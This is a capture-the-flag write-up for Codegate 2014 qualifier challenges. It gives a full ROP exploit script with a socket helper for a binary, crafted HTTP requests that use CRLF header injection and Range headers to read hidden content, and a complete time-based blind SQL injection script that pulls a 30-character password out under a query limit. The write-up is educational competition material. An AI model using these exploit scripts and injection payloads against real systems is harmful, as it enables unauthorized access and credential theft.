We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique

#!/usr/bin/python
#listener.py

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 30123))
s.listen(1)

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  time.sleep(1)
  print "got connection"
  conn.close()
#!/usr/bin/python
#exploit.py

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += "AAAAAAAAAAAAAAAA"
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("127.0.0.1", 30123))
    out_sock.setblocking(0)

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)

    p.stdin.write(self.payload)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
m.pwn()
$ ulimit -s
unlimited 
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising
http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with

<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>

Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.

<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The sqli is relatively straightforward. You can have a True/false query like this.

password='or(1=2)and'1
password='or(1=1)and'1

But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true

password='or(CHAR_LENGTH(password)=30)and'1

so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*

#!/usr/bin/python

import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        self.conn.connect()
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
        else:
            self.session = session
        
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
        self.pwn()
        
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
               
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                else:
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                    
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                self.conn.endheaders()
                t = time.clock()
                
                self.conn.send(param)                
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                    break
                elif t>=16:
                    dstr = "01" + dstr
                    break
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                    break
                elif t >= 4:
                    dstr = dstr.zfill(5)
                    break
                elif "True" in data:
                    dstr = "1" + dstr
                else:
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
                break
        print "PASSWORD: ", self.passwd
        
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
     
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        self.conn.endheaders()
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
        
         
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
                           
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)

web500

Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109